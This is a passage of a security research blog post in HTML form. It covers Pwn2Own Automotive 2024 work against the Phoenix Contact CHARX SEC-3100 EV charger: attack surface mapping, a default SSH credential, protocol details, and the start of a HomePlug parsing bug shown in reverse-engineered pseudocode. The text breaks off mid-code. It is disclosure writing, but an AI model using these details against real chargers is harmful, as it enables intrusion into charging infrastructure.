href=&quot;https://www.phoenixcontact.com/en-us/products/ac-charging-controller-charx-sec-3100-1139012&quot;&gt;CHARX SEC-3100&lt;/a&gt; and the bugs we discovered, with a &lt;a href=&quot;https://blog.ret2.io/2024/07/24/pwn2own-auto-2024-charx-exploit/&quot;&gt;2nd separate post&lt;/a&gt; covering the actual exploit.&lt;/p&gt;

&lt;p&gt;We’ve adapted the fundamental bug pattern into a challenge hosted on our in-browser WarGames platform &lt;a href=&quot;https://wargames.ret2.systems/level/charxpost_destructors&quot;&gt;here&lt;/a&gt;, if you want a hands-on attempt at exploiting the rather interesting C++ issue we discovered.&lt;/p&gt;

&lt;p&gt;Although an EV charger may initially seem like an “exotic” target with non-standard protocols and physical interfaces, once those are figured out, everything eventually boils down to some binary consuming untrusted input (e.g. from the network), and all the classic memory corruption principles apply.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_header.jpg&quot; data-lightbox=&quot;pwn2own_auto24_charx_header.jpg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_header.jpg&quot; alt=&quot;&quot; style=&quot;width:85%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;why-the-charx&quot;&gt;Why the CHARX?&lt;/h2&gt;

&lt;p&gt;The CHARX was an appealing target for two primary reasons. The first was simply how different it is as a product compared to the other chargers. While the rest of the targets seemed more retail / consumer facing, the CHARX is more “industrial,” a DIN-rail mounted unit seemingly more for infrastructure than actual charging. Its status as an outlier immediately piqued our interest.&lt;/p&gt;

&lt;p&gt;Another more practical reason was that the firmware could be easily downloaded from the manufacturer’s website, and was not encrypted. The provided &lt;code class=&quot;highlighter-rouge&quot;&gt;.raucb&lt;/code&gt; bundle is intended for use with &lt;a href=&quot;https://github.com/rauc/rauc&quot;&gt;rauc&lt;/a&gt;, but can also be treated as a squashfs filesystem image for mounting or extracting directly.&lt;/p&gt;

&lt;h2 id=&quot;recon---mapping-attack-surface&quot;&gt;Recon - Mapping Attack Surface&lt;/h2&gt;

&lt;p&gt;Once we had decided to actively perform research against the CHARX, we began by enumerating and evaluating potential attack surface.&lt;/p&gt;

&lt;p&gt;The CHARX runs a custom embedded version of Linux for 32-bit ARM. SSH is enabled by default, with the unprivileged user &lt;code class=&quot;highlighter-rouge&quot;&gt;user-app&lt;/code&gt; having default password &lt;code class=&quot;highlighter-rouge&quot;&gt;user&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In terms of physical ports, the two of interest to us were the two ethernet ports, labeled ETH0 and ETH1. ETH0 is intended to provide a connection to the “outside world,” most likely a larger network and/or the Internet, whereas ETH1 is intended to connect to the ETH0 port of an additional CHARX. In this manner, CHARX units can be daisy-chained such that they all communicate.&lt;/p&gt;

&lt;p&gt;Firewall rules within &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/firewall/rules&lt;/code&gt; define which ports (and therefore services) are accessible on these two interfaces. With these rules, some time poking around the system via ssh, and brief reverse engineering, we ended up with the following rough “map” of services, a guide indicating possible attack surface:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_services.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_services.svg&quot; data-title=&quot;CHARX remote attack surface&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_services.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;CHARX remote attack surface&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Some services can be interfaced with directly through their TCP servers, while several can only be addressed indirectly through &lt;a href=&quot;https://mqtt.org/&quot;&gt;MQTT&lt;/a&gt; messages. MQTT employs a publish-subscribe model where a client can subscribe to any number of topics, and when any client publishes a message to a topic, the message will be forwarded to all subscribers.&lt;/p&gt;

&lt;p&gt;Most of the binaries for these services are located at &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/sbin/Charx*&lt;/code&gt;. Most services are &lt;a href=&quot;https://cython.org/&quot;&gt;Cython&lt;/a&gt; based, where python code (with some extra syntax for native functionality) is compiled into native binaries / shared objects instead of being interpreted.&lt;/p&gt;

&lt;p&gt;Reverse engineering Cython proved tedious, so we chose to focus mostly on the Controller Agent service, a native C++ binary.&lt;/p&gt;

&lt;h2 id=&quot;controller-agent-overview&quot;&gt;Controller Agent Overview&lt;/h2&gt;

&lt;p&gt;The controller agent is represented towards the upper left of the attack-surface diagram, and is reachable over the eth1 port / interface.
This port is intended to connect to an additional CHARX, but in our attack scenario we’ll be connecting a machine directly.&lt;/p&gt;

&lt;p&gt;To provide some context, we came across three main functions of the controller agent:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;manage communication between other daisy-chained CHARX units&lt;/li&gt;
  &lt;li&gt;manage the AC controller (a separate MCU on the board)&lt;/li&gt;
  &lt;li&gt;V2G (vehicle-to-grid) protocol messaging (related to vehicles selling electricity back to the grid)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In terms of actual interaction, the agent can be talked to over UDP, TCP, and the HomePlug Green PHY protocol.
We’ll give a brief overview of each communication channel, and discuss specifics later as they become relevant.&lt;/p&gt;

&lt;h3 id=&quot;tcp-json-messaging&quot;&gt;TCP JSON Messaging&lt;/h3&gt;

&lt;p&gt;The TCP server is conceptually the simplest method of communication. The agent listens on port 4444, accepts messages in JSON format, and provides JSON responses.&lt;/p&gt;

&lt;p&gt;Each message is a JSON object with the following format:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;&quot;operationName&quot;&lt;/span&gt;: &lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;deviceInfo&quot;&lt;/span&gt;, &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// operation requested&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;&quot;&lt;span zeum4c1=&quot;PR_1_0&quot; data-ddnwab=&quot;PR_1_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;deviceUid&lt;/span&gt;&quot;&lt;/span&gt;: &lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;root&quot;&lt;/span&gt;, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// target device of operation&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;&quot;operationId&quot;&lt;/span&gt;: &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// reference ID to echo in response&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;&quot;operationParameters&quot;&lt;/span&gt;: {} &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// optional operation-specific params&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The &lt;code class=&quot;highlighter-rouge&quot;&gt;deviceUid&lt;/code&gt; field specifies the target device in a “device tree” of sorts maintained by the agent. For our purposes, this will mostly be &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; to indicate the controller agent itself, but there is also a device node representing the AC controller MCU, and there would be other nodes for daisy-chained units if they existed and had performed the proper “handshake.”&lt;/p&gt;

&lt;p&gt;Some of the supported operations are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;deviceInfo&lt;/code&gt; : obtain info for specified device&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;childDeviceList&lt;/code&gt; : list children in device tree&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;dataAccess&lt;/code&gt; : generic hardware data e.g. reading temperature of AC controller (unsupported by root agent)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;configAccess&lt;/code&gt; : read/write configuration variables&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;heartbeat&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;v2gMessage&lt;/code&gt; : proxies / handles V2G messages / responses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the target device is the agent itself, the message is handled directly. Otherwise it gets forwarded to the proper device (e.g. proxied to a daisy-chained CHARX).&lt;/p&gt;

&lt;h3 id=&quot;udp-broadcast-discovery&quot;&gt;UDP Broadcast Discovery&lt;/h3&gt;

&lt;p&gt;UDP is primarily used for autodiscovery of daisy-chained units, after which communication would occur over TCP. This is done with UDP broadcast packets on port 4444.&lt;/p&gt;

&lt;p&gt;The basic idea is:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;root agent broadcasts a &lt;code class=&quot;highlighter-rouge&quot;&gt;deviceInfo&lt;/code&gt; JSON request message&lt;/li&gt;
  &lt;li&gt;daisy-chained sub-agent responds&lt;/li&gt;
  &lt;li&gt;root agent gets IP from response, uses it to connect to sub-agent over TCP port 4444&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There isn’t much complexity here, since it’s simply for initial discovery.&lt;/p&gt;

&lt;h3 id=&quot;homeplug&quot;&gt;HomePlug&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HomePlug&quot;&gt;HomePlug&lt;/a&gt; is a family of protocols for powerline communications (PLC). That is, transmitting data over electrical wiring.
Specifically, the HomePlug Green PHY protocol is the one relevant here.&lt;/p&gt;

&lt;p&gt;The protocol is defined in terms of standard ethernet packets. In practice, a dedicated SoC (e.g. some Qualcomm chip) would perform the translation of ethernet packets into raw powerline signals, and vice versa.
It would seem these chips are present on certain CHARX models (although not the 3100 model we had for the contest), intended to be exposed to Linux userspace as interface &lt;code class=&quot;highlighter-rouge&quot;&gt;eth2&lt;/code&gt; (compared to the physical ethernet ports for &lt;code class=&quot;highlighter-rouge&quot;&gt;eth0&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;eth1&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The usage of PLC is interesting and provides some background, but is ultimately irrelevant, since the protocol is just ethernet, and we only need to concern ourselves with sending / receiving raw packets.
Ethernet / layer-2 packets have a 10-byte header followed by the data payload.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/Ethernet_Type_II_Frame_format.svg/2880px-Ethernet_Type_II_Frame_format.svg.png&quot; title=&quot;&quot; target=&quot;_blank&quot;&gt;
    
      &lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/Ethernet_Type_II_Frame_format.svg/2880px-Ethernet_Type_II_Frame_format.svg.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Notably, the 16-bit &lt;code class=&quot;highlighter-rouge&quot;&gt;EtherType&lt;/code&gt; field in the header determines the protocol, which in the case of HomePlug Green PHY would be &lt;code class=&quot;highlighter-rouge&quot;&gt;0x88e1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The controller agent sends and receives these packets by opening a &lt;a href=&quot;https://www.man7.org/linux/man-pages/man7/packet.7.html&quot;&gt;raw socket&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_PACKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_RAW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;htons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x88e1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reading or writing to the raw socket sends or receives an entire raw packet, including the header. The indicated protocol &lt;code class=&quot;highlighter-rouge&quot;&gt;0x88e1&lt;/code&gt; means when reading from the socket, the kernel will only deliver packets with the specified &lt;code class=&quot;highlighter-rouge&quot;&gt;EtherType&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The raw socket is bound to an interface, to and from which packets are routed directly. Normally this would be the special &lt;code class=&quot;highlighter-rouge&quot;&gt;eth2&lt;/code&gt; interface for PLC, but the interface can be configured via a &lt;code class=&quot;highlighter-rouge&quot;&gt;configAccess&lt;/code&gt; message (over TCP) prior to starting the HomePlug “server.” We can conveniently set this to &lt;code class=&quot;highlighter-rouge&quot;&gt;eth1&lt;/code&gt; (for the physical ETH1 port), to which we’ll already be connected.&lt;/p&gt;

&lt;p&gt;The HomePlug functionality is closely related to V2G, and the HomePlug “server” is started by sending a &lt;code class=&quot;highlighter-rouge&quot;&gt;v2gMessage&lt;/code&gt; request over TCP, with a “subscribe” method type.&lt;/p&gt;

&lt;h2 id=&quot;bug-1-homeplug-parsing-mismatch&quot;&gt;Bug #1: HomePlug Parsing Mismatch&lt;/h2&gt;

&lt;p&gt;The first vulnerability we used ends up causing a simple null dereference, allowing us to crash the service at will. This may seem useless at first, but will prove its usefulness later on.&lt;/p&gt;

&lt;p&gt;The HomePlug “server” run by the controller agent reads packets from its raw socket, and handles each one. HomePlug packets are called MMEs (management message entries), and have a 5-byte header followed by the message payload:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;1-byte Version&lt;/li&gt;
  &lt;li&gt;2-byte MMTYPE for the message type, i.e. an “opcode”&lt;/li&gt;
  &lt;li&gt;2-byte fragmentation info (unused by the agent)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that rather than being a full implementation, the agent implements only a subset of the features / MMTYPEs of the Green PHY protocol (for instance, ignoring fragmentation info).
You can find an archived version of the full spec &lt;a href=&quot;https://web.archive.org/web/20180825120357/https://www.homeplug.org/media/filer_public/74/40/7440ccd5-8c66-49ed-a2ce-5ef661932c27/homeplug_gp_specification_v111_final_public.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For context, message opcodes commonly come in send / respond pairs. From the spec, the naming scheme follows:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Request messages always end in &lt;strong&gt;.REQ&lt;/strong&gt;. The response (if any) to a Request message is always a Confirmation message, which ends in &lt;strong&gt;.CNF&lt;/strong&gt;.&lt;/p&gt;

  &lt;p&gt;Indication messages always end in &lt;strong&gt;.IND&lt;/strong&gt;. The response (if any) to an Indication message is always a Response message, which ends in &lt;strong&gt;.RSP&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The MMTYPE of interest here is &lt;code class=&quot;highlighter-rouge&quot;&gt;CM_AMP_MAP.REQ (0x601c)&lt;/code&gt;, which is used to send an “amplitude map.” The message payload is of the form:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;2-byte AMLEN indicating the size of the following array of 4-bit numbers&lt;/li&gt;
  &lt;li&gt;n-byte AMDATA of length &lt;code class=&quot;highlighter-rouge&quot;&gt;(AMLEN+1)/2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The agent represents MMEs as subclasses of an &lt;code class=&quot;highlighter-rouge&quot;&gt;MMEFrame&lt;/code&gt; class, which for this MMTYPE would be &lt;code class=&quot;highlighter-rouge&quot;&gt;MME_CM_Amp_Map_Req&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To parse the various message payloads, which all have different structures, &lt;code class=&quot;highlighter-rouge&quot;&gt;MMEFrame&lt;/code&gt; objects use the concept of what I’ve denoted “blobs,” which are chunks of the message body copied out into
separate vectors, and tagged with a “type” indicating which field they represent. Parsing populates blobs, MME handling queries / uses the blobs.&lt;/p&gt;

&lt;p&gt;The following is pseudocode of the constructor for &lt;code class=&quot;highlighter-rouge&quot;&gt;MME_CM_Amp_Map_Req&lt;/code&gt;, which is passed a pointer to the start of the MME (including the 5-byte header):&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;MME_CM_Amp_Map_Req&lt;/span&gt;(MME_CM_Amp_Map_Req&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt;raw, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; rawsz, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; amlen)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( rawsz &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;5&lt;/span&gt; )&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!&lt;/span&gt;amlen ) {&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // will be zero when parsing packet as input&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; amlen &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;raw&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;5&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;border: 1px solid red&quot;&gt;amlen &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;|=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;raw&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;4&lt;/span&gt;] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;8&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;amlen&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; amlen;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;short&lt;/span&gt; &lt;span style=&quot;border: 1px solid #00e600&quot;&gt;ambytes&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; (amlen &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;) &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;MMEFrame&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;hdr_size&lt;/span&gt;(a1) &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;+&lt;/span&gt; ambytes &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt; rawsz )&lt;span style=&quot;color: rgb(108, 153, 85);&quot;&gt; // hdr_size is 5&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;border: 1px solid #ff9900&quot;&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;MMEFrame&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;add_blob&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;, raw, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;, Amp_Map_AMLEN);&lt;/span&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // copies bytes after header [0, 2)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;MMEFrame&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;add_blob&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;, raw, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;, &lt;span style=&quot;border: 1px solid #00e600&quot;&gt;ambytes&lt;/span&gt;, Amp_Map_AMDATA);&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // copies bytes after header [2, ambytes)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;valid&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Remember that the header is 5 bytes, so the message payload should start at offset 5. Given that AMLEN is the first field in that payload, AMLEN &lt;em&gt;should be bytes 5 and 6&lt;/em&gt;.
However, this constructor erroneously uses &lt;span style=&quot;color:red&quot;&gt;bytes 4 and 5&lt;/span&gt;. This incorrect value determines the &lt;span style=&quot;color:#00e600&quot;&gt;length of the AMDATA blob&lt;/span&gt; stored for later.
The &lt;span style=&quot;color:#ff9900&quot;&gt;“correct” AMLEN is also stored as a blob&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;What we end up with is the “correct” length in the AMLEN blob, but an AMDATA blob with a &lt;em&gt;completely different size&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;To see what this “weird state” can lead to, let’s see what happens after parsing. Rough pseudocode of the handler for this MMTYPE is shown below.
It essentially copies AMLEN entries in a loop from the AMDATA blob into a “session-local” vector:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;EVSEMMEHandler&lt;/span&gt;::VSLACSession&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; session &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; ...;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;std&lt;/span&gt;::vector&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt; blob;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;MMEFrame&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;get_blob&lt;/span&gt;(&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;blob, mme, Amp_Map_AMLEN);&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; amlen &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;blob&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;|&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;blob&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;8&lt;/span&gt;);&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // &quot;correct&quot; length&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// individually copy entries from the AMDATA blob&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// MMEFrame::get_amdata is essentially AMDATA[i] but for 4-bit entries&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; (&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt; amlen; i&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;session&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;amp_map&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;append&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 